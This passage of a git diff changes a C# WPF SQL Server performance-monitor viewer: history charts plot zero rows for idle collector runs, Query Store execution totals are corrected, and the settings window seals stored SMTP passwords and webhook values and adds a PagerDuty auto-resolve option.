+        DialogResult = true;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ProcedureHistoryWindow.xaml.cs b/Darling/PerformanceMonitor.Darling.Viewer/ProcedureHistoryWindow.xaml.cs
index 1817989dbf..abc1d42e67 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ProcedureHistoryWindow.xaml.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ProcedureHistoryWindow.xaml.cs
@@ -40,6 +40,8 @@ public partial class ProcedureHistoryWindow : Window
     private readonly DateTime _startUtc;
     private readonly DateTime _endUtc;
     private List<ViewerProcedureStatsHistoryRow> _historyData = new();
+    /* #5449: the rows the chart plots: _historyData plus a zero row at each collector run that stored nothing for this procedure. */
+    private List<ViewerProcedureStatsHistoryRow> _chartData = new();
     private ChartHoverHelper? _chartHover;
     private readonly DataGridFilterManager<ViewerProcedureStatsHistoryRow> _filterManager;
     private Popup? _filterPopup;
@@ -91,6 +93,9 @@ private async Task LoadHistoryAsync()
                 SummaryText.Text = "No history data found for this procedure in the selected time range.";
             }
 
+            /* #5449: the chart also plots a 0 for each collector run that stored nothing for this procedure, so a quiet
+               minute is a 0 as it is on an older store, not a gap. The grid and summary keep the stored rows. */
+            _chartData = await _dataService.GetProcedureStatsHistoryChartRowsAsync(_serverId, _historyData);
             UpdateChart();
         }
         catch (Exception ex)
@@ -101,7 +106,7 @@ private async Task LoadHistoryAsync()
 
     /// <summary>
     /// Defaults the history grid to newest-first (Erik's descending-default grid convention). The SQL read stays
-    /// ascending on purpose — the chart plots <c>_historyData</c> in reader order and the summary reads
+    /// ascending on purpose — the chart plots <c>_chartData</c> (these rows plus the idle runs) in time order and the summary reads
     /// <c>First()</c>/<c>Last()</c> — so this reorders ONLY the grid's view, mirroring the parent Queries grids'
     /// <c>SetDefaultSortIfNone(..., ListSortDirection.Descending)</c>. Guarded so a user's later sort survives.
     /// </summary>
@@ -116,7 +121,7 @@ private void ApplyDefaultDescendingByCollectionTime()
 
     private void UpdateChart()
     {
-        if (_historyData == null || _historyData.Count == 0)
+        if (_chartData == null || _chartData.Count == 0)
         {
             HistoryChart.Plot.Clear();
             HistoryChart.Refresh();
@@ -129,8 +134,8 @@ private void UpdateChart()
         var tag = selected?.Tag?.ToString() ?? "AvgCpuMs";
         var label = selected?.Content?.ToString() ?? "Avg CPU (ms)";
 
-        var xs = _historyData.Select(r => r.CollectionTime.ToOADate()).ToArray();
-        var ys = _historyData.Select(r => GetMetricValue(r, tag)).ToArray();
+        var xs = _chartData.Select(r => r.CollectionTime.ToOADate()).ToArray();
+        var ys = _chartData.Select(r => GetMetricValue(r, tag)).ToArray();
 
         var scatter = HistoryChart.Plot.Add.TimeSeries(xs, ys);
         scatter.Color = ScottPlot.Color.FromHex(ChartPalette.SeriesColor("MetricTrend"));
@@ -195,6 +200,9 @@ private async void DownloadPlan_Click(object sender, RoutedEventArgs e)
                 return;
             }
 
+            /* #5320: a plan the statement filter withheld whole is the marker, not a plan: say so, save nothing. */
+            if (WithheldPlanGuard.RefuseSave(plan)) return;
+
             var dialog = new SaveFileDialog
             {
                 Filter = "SQL Plan files (*.sqlplan)|*.sqlplan|All files (*.*)|*.*",
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/QueryStatsHistoryWindow.xaml.cs b/Darling/PerformanceMonitor.Darling.Viewer/QueryStatsHistoryWindow.xaml.cs
index 6978a5ca35..025dd50ee7 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/QueryStatsHistoryWindow.xaml.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/QueryStatsHistoryWindow.xaml.cs
@@ -195,6 +195,9 @@ private async void DownloadPlan_Click(object sender, RoutedEventArgs e)
                 return;
             }
 
+            /* #5320: a plan the statement filter withheld whole is the marker, not a plan: say so, save nothing. */
+            if (WithheldPlanGuard.RefuseSave(plan)) return;
+
             var dialog = new SaveFileDialog
             {
                 Filter = "SQL Plan files (*.sqlplan)|*.sqlplan|All files (*.*)|*.*",
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/QueryStoreHistoryWindow.xaml.cs b/Darling/PerformanceMonitor.Darling.Viewer/QueryStoreHistoryWindow.xaml.cs
index 539f1ed1a7..e2f73377e7 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/QueryStoreHistoryWindow.xaml.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/QueryStoreHistoryWindow.xaml.cs
@@ -84,7 +84,11 @@ private async Task LoadHistoryAsync()
 
             if (_historyData.Count > 0)
             {
-                var totalExec = _historyData.Sum(r => r.ExecutionCount);
+                /* #5306: each Query Store interval counts once, at its latest snapshot. The grid lists every snapshot
+                   (an interval collected N times is N rows with a growing count), so adding the column up counted it
+                   about N times. The samples count, the first and last times and the plan count below are not totals
+                   of the counts: they read the rows as they are. */
+                var totalExec = ViewerQueryStoreHistoryRow.TotalExecutions(_historyData);
                 var planCount = _historyData.Select(r => r.PlanId).Distinct().Count();
                 var first = ViewerTimeHelper.FormatForDisplay(_historyData.First().CollectionTime, "MM/dd HH:mm");
                 var last = ViewerTimeHelper.FormatForDisplay(_historyData.Last().CollectionTime, "MM/dd HH:mm");
@@ -224,6 +228,9 @@ private async void DownloadPlan_Click(object sender, RoutedEventArgs e)
                 return;
             }
 
+            /* #5320: a plan the statement filter withheld whole is the marker, not a plan: say so, save nothing. */
+            if (WithheldPlanGuard.RefuseSave(plan)) return;
+
             var dialog = new SaveFileDialog
             {
                 Filter = "SQL Plan files (*.sqlplan)|*.sqlplan|All files (*.*)|*.*",
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/RecommendationsViewModel.cs b/Darling/PerformanceMonitor.Darling.Viewer/RecommendationsViewModel.cs
index 606d502636..6a87e17539 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/RecommendationsViewModel.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/RecommendationsViewModel.cs
@@ -246,12 +246,7 @@ public RecommendationCardViewModel(RecommendationItem item, ServerClock? serverC
     /// are deliberately NOT structured config fixes — their target lists are empty here — so they remain
     /// incidents, matching the Dashboard (where MISSING_INDEX keeps the incident affordances).
     /// </summary>
-    private bool HasStructuredFixAction =>
-        Item.Remediation is { } r &&
-        ((r.DbConfigTargets is { Count: > 0 }) ||
-         (r.RcsiTargets is { Count: > 0 }) ||
-         (r.FileGrowthTargets is { Count: > 0 }) ||
-         (r.ServerConfigTargets is { Count: > 0 }));
+    private bool HasStructuredFixAction => FactRemediation.IsConfigFix(Item.Remediation);
 
     /// <summary>
     /// Whether this is a standing CONFIG-FIX finding (a structured config action) rather than a time-bound
@@ -409,6 +404,20 @@ public sealed class RecommendationsViewModel
     /// </summary>
     public string WindowEmptyMessage { get; }
 
+    /// <summary>
+    /// #5558: the one-sentence note shown above a Loaded or Empty list when the monitored node holds a secondary copy
+    /// of some databases in an availability group (their per-database findings are the primary's), or null for none.
+    /// </summary>
+    public string? ReplicaNote { get; private set; }
+
+    /// <summary>Sets <see cref="ReplicaNote"/> and returns this view-model, so a caller can chain it onto a factory.
+    /// Only the Loaded and Empty states show it; the others replace the whole list area with their own message.</summary>
+    public RecommendationsViewModel WithReplicaNote(string? note)
+    {
+        ReplicaNote = string.IsNullOrWhiteSpace(note) ? null : note;
+        return this;
+    }
+
     /// <summary>Total card count across all sections.</summary>
     public int TotalCount => Sections.Sum(s => s.Count);
 
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml b/Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml
index 993ac713ea..182f36c7e2 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml
+++ b/Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml
@@ -134,7 +134,7 @@
                             VerticalAlignment="Center"
                             Click="AutoPortButton_Click"/>
                 </StackPanel>
-                <TextBlock x:Name="McpStatusText" FontSize="12" Foreground="{DynamicResource ForegroundMutedBrush}" Margin="0,6,0,0"/>
+                <TextBlock x:Name="McpStatusText" FontSize="12" Foreground="{DynamicResource ForegroundMutedBrush}" Margin="0,6,0,0" TextWrapping="Wrap"/>
                 <StackPanel Orientation="Horizontal" Margin="0,6,0,0">
                     <Button x:Name="CopyMcpCommandButton" Content="Cop_y Setup Command" Click="CopyMcpCommandButton_Click"/>
                     <TextBlock Text="Works with Claude Code. Other LLMs may apply, but why would you?"
@@ -179,14 +179,10 @@
                 <StackPanel Orientation="Horizontal" Margin="0,8,0,0">
                     <TextBlock Text="Default time range:" VerticalAlignment="Center"
                                Foreground="{DynamicResource ForegroundBrush}" Margin="0,0,8,0"/>
-                    <ComboBox x:Name="DefaultTimeRangeCombo" Width="140" VerticalAlignment="Center"
-                              ToolTip="Time window each newly-opened server tab starts on">
-                        <ComboBoxItem Content="Last 1 hour"/>
-                        <ComboBoxItem Content="Last 4 hours"/>
-                        <ComboBoxItem Content="Last 12 hours"/>
-                        <ComboBoxItem Content="Last 24 hours"/>
-                        <ComboBoxItem Content="Last 7 days"/>
-                    </ComboBox>
+                    <!-- #5562: the shared picker. A fixed range is not kept as a default (it names concrete dates). -->
+                    <ui:TimeRangePicker x:Name="DefaultTimeRangeCombo" VerticalAlignment="Center"
+                                        ToolTip="Time window each newly-opened server tab starts on"
+                                        RangeChanged="DefaultTimeRange_RangeChanged"/>
                 </StackPanel>
                 <!-- Folded in from #1401: the auto-refresh defaults for newly-opened server tabs. -->
                 <CheckBox x:Name="AutoRefreshCheckBox" Content="Auto-refresh newly-opened server tabs"
@@ -283,8 +279,8 @@
                           Foreground="{DynamicResource ForegroundBrush}"
                           ToolTip="Off = the classic behavior: the first connect attempt is a silent baseline, even when it fails."/>
                 <StackPanel Orientation="Horizontal" Margin="36,4,0,0"
-                            ToolTip="0 = off (one alert per outage). Re-alerts use the same 'Server Unreachable' metric name, so webhook automation keyed on it re-triggers.">
-                    <TextBlock Text="Re-alert while still down every" VerticalAlignment="Center"
+                            ToolTip="0 = off (one alert per occurrence). Covers a server that is unreachable, Collection Stopped, and the other self-alerts for a lasting problem. Each repeat uses that alert's own metric name, so webhook automation keyed on it re-triggers.">
+                    <TextBlock Text="Re-alert while a problem lasts every" VerticalAlignment="Center"
                                Foreground="{DynamicResource ForegroundBrush}"/>
                     <TextBox x:Name="ConnectionRefireMinutesBox" Width="45" Text="0" Margin="6,0,0,0" VerticalAlignment="Center"/>
                     <TextBlock Text="min (0 = off)" VerticalAlignment="Center" Margin="4,0,0,0"
@@ -864,6 +860,7 @@
                         <RowDefinition Height="Auto"/>
                         <RowDefinition Height="Auto"/>
                         <RowDefinition Height="Auto"/>
+                        <RowDefinition Height="Auto"/>
                     </Grid.RowDefinitions>
                     <TextBlock Grid.Row="0" Grid.Column="0" Text="Routing Key:" VerticalAlignment="Center"
                                Foreground="{DynamicResource ForegroundBrush}" Margin="0,0,8,4"/>
@@ -874,12 +871,17 @@
                     <CheckBox Grid.Row="1" Grid.Column="1" x:Name="PagerDutyEuRegionCheckBox" Content="Use EU data center (events.eu.pagerduty.com)"
                               Foreground="{DynamicResource ForegroundBrush}" Margin="0,0,0,4"/>
 
-                    <TextBlock Grid.Row="2" Grid.Column="0" Text="Proxy Address:" VerticalAlignment="Center"
+                    <TextBlock Grid.Row="2" Grid.Column="0" Text="" VerticalAlignment="Center" Margin="0,0,8,4"/>
+                    <CheckBox Grid.Row="2" Grid.Column="1" x:Name="PagerDutyAutoResolveCheckBox" Content="Auto-resolve the incident when the alert's condition clears"
+                              Foreground="{DynamicResource ForegroundBrush}" Margin="0,0,0,4"
+                              ToolTip="Sends a PagerDuty 'resolve' event when an edge-type alert's condition clears (a server comes back, a replica reconnects), closing the incident the firing edge's trigger opened. Off by default: the closing edge is sent as an info-level alert and the incident stays open. Replica cooldowns: when PagerDuty is set up for the alert, Teams, Slack and the generic webhook keep one cooldown per replica, so each replica gets its own outage and recovery notices. Email stays per server."/>
+
+                    <TextBlock Grid.Row="3" Grid.Column="0" Text="Proxy Address:" VerticalAlignment="Center"
                                Foreground="{DynamicResource ForegroundBrush}" Margin="0,0,8,4"/>
-                    <TextBox Grid.Row="2" Grid.Column="1" x:Name="PagerDutyProxyAddressBox" Margin="0,0,0,4"
+                    <TextBox Grid.Row="3" Grid.Column="1" x:Name="PagerDutyProxyAddressBox" Margin="0,0,0,4"
                              ToolTip="Optional. HTTP proxy for reaching PagerDuty (e.g. http://proxy.corp.local:8080). Leave blank to connect directly."/>
 
-                    <StackPanel Grid.Row="3" Grid.Column="1" Orientation="Horizontal" Margin="0,4,0,0">
+                    <StackPanel Grid.Row="4" Grid.Column="1" Orientation="Horizontal" Margin="0,4,0,0">
                         <Button x:Name="TestPagerDutyButton" Content="Send Test Notification" Click="TestPagerDutyButton_Click"/>
                         <TextBlock x:Name="PagerDutyStatusText" FontSize="11" FontStyle="Italic"
                                    Foreground="{DynamicResource ForegroundMutedBrush}" VerticalAlignment="Center" Margin="8,0,0,0"/>
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml.cs b/Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml.cs
index 473a93798b..5b4a68d3a5 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml.cs
@@ -53,9 +53,16 @@ public partial class SettingsWindow : Window
     private readonly ViewerDataService? _dataService;
     private readonly IReadOnlyList<DarlingServer> _servers;
 
-    /// <summary>The store's current SMTP blob, held so an unchanged (or undecryptable) password survives a Save
-    /// without being wiped — mirrors the server dialog's DPAPI "re-enter to change" handling.</summary>
-    private string? _loadedSmtpBlob;
+    /// <summary>The notification row as the window loaded it: its stored SMTP password survives a Save that leaves the
+    /// box blank, and its host, port, SSL flag and user name say whether a blank box is allowed (#5366).</summary>
+    private NotificationRow _loadedNotification = NotificationRow.Defaults();
+
+    /// <summary>The password the box was pre-filled with: a value saved before passwords were sealed that this machine
+    /// could read. Null when the box was left blank (nothing saved, or a sealed value nobody here can read).</summary>
+
+    /// <summary>The password typed for a save that seals it, held between reading the controls and the async key read.</summary>
+    private string? _smtpPasswordToSeal;
+
 
     /// <summary>The service's paused state as last read from <c>config_service</c>, reflected on the button.</summary>
     private bool _paused;
@@ -267,19 +274,40 @@ private void LoadViewerPreferences(ViewerPreferences preferences)
         var normalized = new ViewerPreferences
         {
             DefaultTimeRangeIndex = preferences.DefaultTimeRangeIndex,
+            DefaultTimeRange = preferences.DefaultTimeRange,
             AutoRefreshEnabled = preferences.AutoRefreshEnabled,
             AutoRefreshIntervalIndex = preferences.AutoRefreshIntervalIndex,
         }.Normalize();
 
-        DefaultTimeRangeCombo.SelectedIndex = normalized.DefaultTimeRangeIndex;
+        DefaultTimeRangeCombo.ZoneProvider = ViewerTimeHelper.CurrentDisplayZone;
+        DefaultTimeRangeCombo.Value = ViewerTimeRangeWindow.DefaultFor(normalized);
+        _lastPersistableDefaultRange = DefaultTimeRangeCombo.Value;
         AutoRefreshCheckBox.IsChecked = normalized.AutoRefreshEnabled;
         AutoRefreshIntervalCombo.SelectedIndex = normalized.AutoRefreshIntervalIndex;
         AutoRefreshIntervalCombo.IsEnabled = normalized.AutoRefreshEnabled;
     }
 
+    /// <summary>A fixed or since range cannot be a standing default (#5562): it stays on the picker's last rolling or period
+    /// pick, so Save never writes concrete dates.</summary>
+    private void DefaultTimeRange_RangeChanged(object? sender, TimeRangeChangedEventArgs e)
+    {
+        if (ViewerTimeRangeWindow.IsPersistable(e.Spec))
+        {
+            _lastPersistableDefaultRange = e.Spec;
+        }
+        else
+        {
+            DefaultTimeRangeCombo.Value = _lastPersistableDefaultRange;
+        }
+    }
+
+    private TimeRangeSpec _lastPersistableDefaultRange = TimeRangePresets.Find("1d")!;
+
     private ViewerPreferences BuildViewerPreferences() => new ViewerPreferences
     {
-        DefaultTimeRangeIndex = DefaultTimeRangeCombo.SelectedIndex,
+        DefaultTimeRange = ViewerTimeRangeWindow.IsPersistable(DefaultTimeRangeCombo.Value)
+            ? DefaultTimeRangeCombo.Value.Id
+            : _lastPersistableDefaultRange.Id,
         AutoRefreshEnabled = AutoRefreshCheckBox.IsChecked == true,
         AutoRefreshIntervalIndex = AutoRefreshIntervalCombo.SelectedIndex,
     }.Normalize();
@@ -472,7 +500,8 @@ private void CopyMcpCommandButton_Click(object sender, RoutedEventArgs e)
         var command = $"claude mcp add --transport http --scope user sql-monitor-darling http://localhost:{port}/";
         /* SetDataObject with copy=false avoids WPF's problematic Clipboard.Flush(). */
         McpStatusText.Text = ClipboardText.TrySetDataObject(command)
-            ? "Copied to clipboard!"
+            ? "Copied to clipboard! If the service has an MCP token, the client must also send "
+              + "--header \"Authorization: Bearer <token>\"; --print-mcp-token on the service host prints it."
             : "Couldn't copy: the clipboard is in use.";
     }
 
@@ -1285,21 +1314,29 @@ private void SeedNotificationControlsFrom(NotificationRow r)
         SmtpRecipientsBox.Text = r.SmtpRecipients;
         EmailCooldownBox.Text = r.EmailCooldownMinutes.ToString(CultureInfo.InvariantCulture);
 
-        _loadedSmtpBlob = r.SmtpEncryptedPassword;
-        SmtpPasswordBox.Password = OperatingSystem.IsWindows()
-            ? ViewerServerSecret.TryUnprotect(r.SmtpEncryptedPassword) ?? ""
+        /* A saved password is never put back in the box, sealed or in the older format: the box stays blank and says the
+           password is saved (#5366). A blank box keeps it; a changed host, port, SSL flag or user name asks for it again. */
+        _loadedNotification = r;
+        SmtpPasswordBox.Password = "";
+        SmtpStatusText.Text = !string.IsNullOrEmpty(r.SmtpEncryptedPassword)
+            ? ViewerSmtpSeal.SavedText
             : "";
 
         TeamsWebhookEnabledCheckBox.IsChecked = !string.IsNullOrWhiteSpace(r.TeamsUrl);
-        TeamsWebhookUrlBox.Text = r.TeamsUrl;
+        TeamsWebhookUrlBox.Text = ViewerWebhookSealing.ShownText(r.TeamsUrl);
+        TeamsStatusText.Text = ViewerWebhookSealing.IsSaved(r.TeamsUrl) ? ViewerWebhookSealing.KeepHint : "";
         TeamsProxyAddressBox.Text = r.TeamsProxy;
         SlackWebhookEnabledCheckBox.IsChecked = !string.IsNullOrWhiteSpace(r.SlackUrl);
-        SlackWebhookUrlBox.Text = r.SlackUrl;
+        SlackWebhookUrlBox.Text = ViewerWebhookSealing.ShownText(r.SlackUrl);
+        SlackStatusText.Text = ViewerWebhookSealing.IsSaved(r.SlackUrl) ? ViewerWebhookSealing.KeepHint : "";
         SlackProxyAddressBox.Text = r.SlackProxy;
 
         GenericWebhookEnabledCheckBox.IsChecked = !string.IsNullOrWhiteSpace(r.GenericUrl);
-        GenericWebhookUrlBox.Text = r.GenericUrl;
-        GenericWebhookHeadersBox.Text = r.GenericHeaders;
+        GenericWebhookUrlBox.Text = ViewerWebhookSealing.ShownText(r.GenericUrl);
+        GenericWebhookHeadersBox.Text = ViewerWebhookSealing.ShownText(r.GenericHeaders);
+        GenericStatusText.Text = ViewerWebhookSealing.IsSaved(r.GenericUrl) || ViewerWebhookSealing.IsSaved(r.GenericHeaders)
+            ? ViewerWebhookSealing.KeepHint
+            : "";
         /* Blank means "use the built-in default" — show it, so the operator has something to edit rather
            than a blank box whose shape they have to guess. */
         GenericWebhookBodyBox.Text = string.IsNullOrWhiteSpace(r.GenericBodyTemplate)
@@ -1308,8 +1345,10 @@ than a blank box whose shape they have to guess. */
         GenericWebhookProxyAddressBox.Text = r.GenericProxy;
 
         PagerDutyWebhookEnabledCheckBox.IsChecked = !string.IsNullOrWhiteSpace(r.PagerDutyRoutingKey);
-        PagerDutyRoutingKeyBox.Text = r.PagerDutyRoutingKey;
+        PagerDutyRoutingKeyBox.Text = ViewerWebhookSealing.ShownText(r.PagerDutyRoutingKey);
+        PagerDutyStatusText.Text = ViewerWebhookSealing.IsSaved(r.PagerDutyRoutingKey) ? ViewerWebhookSealing.KeepHint : "";
         PagerDutyEuRegionCheckBox.IsChecked = r.PagerDutyUseEuRegion;
+        PagerDutyAutoResolveCheckBox.IsChecked = r.PagerDutyAutoResolve;
         PagerDutyProxyAddressBox.Text = r.PagerDutyProxy;
 
         UpdateSmtpControlStates();
@@ -1325,6 +1364,7 @@ than a blank box whose shape they have to guess. */
     private NotificationRow BuildNotificationRowFromControls(List<string> errors)
     {
         var row = new NotificationRow();
+        _smtpPasswordToSeal = null;
 
         if (int.TryParse(EmailCooldownBox.Text, out var emailCooldown) && emailCooldown is >= 1 and <= 120)
             row.EmailCooldownMinutes = emailCooldown;
@@ -1341,25 +1381,31 @@ private NotificationRow BuildNotificationRowFromControls(List<string> errors)
             row.SmtpUsername = string.IsNullOrWhiteSpace(username) ? null : username;
             row.SmtpFromAddress = SmtpFromBox.Text?.Trim() ?? "";
             row.SmtpRecipients = SmtpRecipientsBox.Text?.Trim() ?? "";
-            row.SmtpEncryptedPassword = ResolveSmtpBlob();
+            ResolveSmtpPassword(row, errors);
         }
 
         if (TeamsWebhookEnabledCheckBox.IsChecked == true)
         {
-            row.TeamsUrl = TeamsWebhookUrlBox.Text?.Trim() ?? "";
+            row.TeamsUrl = ViewerWebhookSealing.CarryKept(TeamsWebhookUrlBox.Text, _loadedNotification?.TeamsUrl);
             row.TeamsProxy = TeamsProxyAddressBox.Text?.Trim() ?? "";
         }
 
         if (SlackWebhookEnabledCheckBox.IsChecked == true)
         {
-            row.SlackUrl = SlackWebhookUrlBox.Text?.Trim() ?? "";
+            row.SlackUrl = ViewerWebhookSealing.CarryKept(SlackWebhookUrlBox.Text, _loadedNotification?.SlackUrl);
             row.SlackProxy = SlackProxyAddressBox.Text?.Trim() ?? "";
         }
 
         if (GenericWebhookEnabledCheckBox.IsChecked == true)
         {
-            row.GenericUrl = GenericWebhookUrlBox.Text?.Trim() ?? "";
-            row.GenericHeaders = GenericWebhookHeadersBox.Text?.Trim() ?? "";
+            row.GenericUrl = ViewerWebhookSealing.CarryKept(GenericWebhookUrlBox.Text, _loadedNotification?.GenericUrl);
+            row.GenericHeaders = ViewerWebhookSealing.CarryKept(GenericWebhookHeadersBox.Text, _loadedNotification?.GenericHeaders);
+            if (ViewerWebhookSealing.HeadersNeedUrlRetyped(
+                    GenericWebhookHeadersBox.Text, GenericWebhookUrlBox.Text,
+                    _loadedNotification?.GenericHeaders, _loadedNotification?.GenericUrl))
+            {
+                errors.Add(ViewerWebhookSealing.RetypeUrlForHeadersText);
+            }
             /* Persist the empty "use built-in default" sentinel unless the operator actually edited the body box
                (the Settings load pre-fills it with the default), so a future release can still improve it. */
             row.GenericBodyTemplate = WebhookAlertService.IsDefaultBodyTemplate(GenericWebhookBodyBox.Text)
@@ -1369,7 +1415,9 @@ private NotificationRow BuildNotificationRowFromControls(List<string> errors)
 
             /* A malformed headers JSON / body template would let the service accept the channel and then
                drop every alert with only a log line to show for it — block the Save instead (#1506). */
-            var configError = WebhookAlertService.ValidateGenericConfig(row.GenericHeaders, row.GenericBodyTemplate);
+            var configError = WebhookAlertService.ValidateGenericConfig(
+                PasswordSeal.IsSealed(row.GenericHeaders) || row.GenericHeaders == ViewerWebhookSealing.ClearMarker ? "" : row.GenericHeaders,
+                row.GenericBodyTemplate);
             if (configError != null)
             {
                 errors.Add(configError);
@@ -1378,25 +1426,126 @@ private NotificationRow BuildNotificationRowFromControls(List<string> errors)
 
         if (PagerDutyWebhookEnabledCheckBox.IsChecked == true)
         {
-            row.PagerDutyRoutingKey = PagerDutyRoutingKeyBox.Text?.Trim() ?? "";
+            row.PagerDutyRoutingKey = ViewerWebhookSealing.CarryKept(PagerDutyRoutingKeyBox.Text, _loadedNotification?.PagerDutyRoutingKey);
             row.PagerDutyUseEuRegion = PagerDutyEuRegionCheckBox.IsChecked == true;
+            row.PagerDutyAutoResolve = PagerDutyAutoResolveCheckBox.IsChecked == true;
             row.PagerDutyProxy = PagerDutyProxyAddressBox.Text?.Trim() ?? "";
         }
 
         return row;
     }
 
-    /// <summary>The SMTP blob to persist: seal the typed password when the box holds one; otherwise keep the
-    /// store's existing blob (so an unchanged — or another-machine, undecryptable — password survives Save).</summary>
-    private string? ResolveSmtpBlob()
+    /// <summary>
+    /// Seals the typed webhook values for the settings row (#5366): kept values stay as stored, anything typed is sealed to the
+    /// service's key for its slot, proxy and (for the headers) generic URL. The key is asked for only when something was typed.
+    /// A key notice is shown once. Throws <see cref="ViewerPasswordRefusedException"/> when a value cannot be saved.
+    /// </summary>
+    private async Task SealWebhookValuesAsync(NotificationRow row)
     {
+        ViewerPasswordSealer? sealer = null;
+        string? refusal = null;
+        if (ViewerWebhookSealing.NeedsKey(row, _loadedNotification))
+        {
+            var key = await ViewerPasswordKey.GetSealKeyAsync(_dataService!, this);
+            sealer = key.Sealer;
+            refusal = key.Refusal;
+            if (key.Notice is { } notice)
+            {
+                MessageBox.Show(notice, "Settings", MessageBoxButton.OK, MessageBoxImage.Information);
+            }
+        }
+
+        ViewerWebhookSealing.ResolveSettingsRow(row, _loadedNotification, sealer, refusal);
+    }
+
+    /// <summary>
+    /// Whether this save changes a channel's proxy while a route holds a value sealed for the old proxy (#5366). A route list
+    /// that cannot be read says nothing: the save itself does not depend on it.
+    /// </summary>
+    private async Task<bool> RouteValuesNeedEnteringAgainAsync(NotificationRow row)
+    {
+        try
+        {
+            var routes = await _dataService!.GetNotificationRoutesAsync();
+            return ViewerWebhookSealing.RouteValuesNeedEnteringAgain(_loadedNotification, row, routes);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            ViewerLogger.Warn("SettingsWindow", "The routes could not be read to check them against a proxy change: " + ex.Message);
+            return false;
+        }
+    }
+
+    /// <summary>
+    /// Decides the SMTP password for a save (#5366). A blank box keeps the stored value, and is refused when the host, port,
+    /// SSL flag or user name changed (the stored password only opens for the settings it was sealed for). A typed password
+    /// is sealed later, in <see cref="SealSmtpPasswordAsync"/>, once the service's key has been read; its text is checked here.
+    /// </summary>
+    private void ResolveSmtpPassword(NotificationRow row, List<string> errors)
+    {
+        _smtpPasswordToSeal = null;
+        row.SmtpEncryptedPassword = _loadedNotification.SmtpEncryptedPassword;
+
         var typed = SmtpPasswordBox.Password;
-        if (!string.IsNullOrEmpty(typed) && OperatingSystem.IsWindows())
+        switch (ViewerSmtpSeal.Decide(_loadedNotification, null, row, typed))
+        {
+            case ViewerSmtpPasswordAction.Refuse:
+                errors.Add(ViewerSmtpSeal.ReenterText);
+                break;
+            case ViewerSmtpPasswordAction.Seal:
+                if (!ViewerSmtpSeal.IsValidText(typed))
+                {
+                    errors.Add(ViewerPasswordSealer.PasswordCharactersText);
+                }
+                else if (ViewerSmtpSeal.FirstInvalidBoundField(row.SmtpHost, row.SmtpUsername) is { } field)
+                {
+                    errors.Add(ViewerPasswordSealer.FieldCharactersText(field));
+                }
+                else
+                {
+                    _smtpPasswordToSeal = typed;
+                    row.SmtpEncryptedPassword = null;
+                }
+
+                break;
+        }
+    }
+
+    /// <summary>
+    /// Seals the typed SMTP password to the service's published key for the row's host, port, SSL flag and user name
+    /// (#5366). Returns the sentence that says why not when it cannot; it never carries the password.
+    /// </summary>
+    private async Task<string?> SealSmtpPasswordAsync(NotificationRow row)
+    {
+        if (_smtpPasswordToSeal is null)
+        {
+            return null;
+        }
+
+        var key = await ViewerPasswordKey.GetSealKeyAsync(_dataService!, this);
+        if (key.Notice is not null)
+        {
+            /* The window closes when the save succeeds, so the status line alone would never be seen. */
+            SmtpStatusText.Text = key.Notice;
+            MessageBox.Show(key.Notice, "SMTP password", MessageBoxButton.OK, MessageBoxImage.Information);
+        }
+
+        if (key.Sealer is null)
+        {
+            return key.Refusal;
+        }
+
+        try
+        {
+            row.SmtpEncryptedPassword = key.Sealer.SealSmtp(_smtpPasswordToSeal, row.SmtpHost, row.SmtpPort, row.SmtpUseSsl, row.SmtpUsername);
+        }
+        catch (ViewerPasswordRefusedException ex)
         {
-            return ViewerServerSecret.Protect(typed);
+            return ex.Message;
         }
 
-        return string.IsNullOrEmpty(typed) ? _loadedSmtpBlob : null;
+        _smtpPasswordToSeal = null;
+        return null;
     }
 
     private void SmtpEnabledCheckBox_Changed(object sender, RoutedEventArgs e) => UpdateSmtpControlStates();
@@ -1453,6 +1602,13 @@ private async void TestEmailButton_Click(object sender, RoutedEventArgs e)
             /* Build the test settings straight from the live UI (test before save), so the user verifies
                exactly what they typed. The shared EmailSendCore renders + sends — no store/service needed. */
             var settings = TestAlertSettings.FromUi(this);
+            if (SmtpPasswordBox.Password.Length == 0 && !string.IsNullOrEmpty(_loadedNotification.SmtpEncryptedPassword))
+            {
+                /* The saved password is never read back into this window: nothing here can send with it. */
+                MessageBox.Show(ViewerSmtpSeal.SavedCannotTestText, "Test Email", MessageBoxButton.OK, MessageBoxImage.Information);
+                return;
+            }
+
             var error = await EmailSendCore.SendTestEmailAsync(settings, s_branding);
             if (error == null)
             {
@@ -1509,12 +1665,31 @@ private void UpdatePagerDutyControlStates()
         var enabled = PagerDutyWebhookEnabledCheckBox.IsChecked == true;
         PagerDutyRoutingKeyBox.IsEnabled = enabled;
         PagerDutyEuRegionCheckBox.IsEnabled = enabled;
+        PagerDutyAutoResolveCheckBox.IsEnabled = enabled;
         PagerDutyProxyAddressBox.IsEnabled = enabled;
         TestPagerDutyButton.IsEnabled = enabled;
     }
 
+    /// <summary>Shows why a Send Test cannot run when its box is blank because the value is saved (#5366). True when it was shown.</summary>
+    private static bool RefuseTestOfSavedValue(string? typed, string? stored, string label)
+    {
+        var text = ViewerWebhookSealing.CannotTestSavedValueText(typed, stored, label);
+        if (text is null)
+        {
+            return false;
+        }
+
+        MessageBox.Show(text, "Test Webhook", MessageBoxButton.OK, MessageBoxImage.Information);
+        return true;
+    }
+
     private async void TestPagerDutyButton_Click(object sender, RoutedEventArgs e)
     {
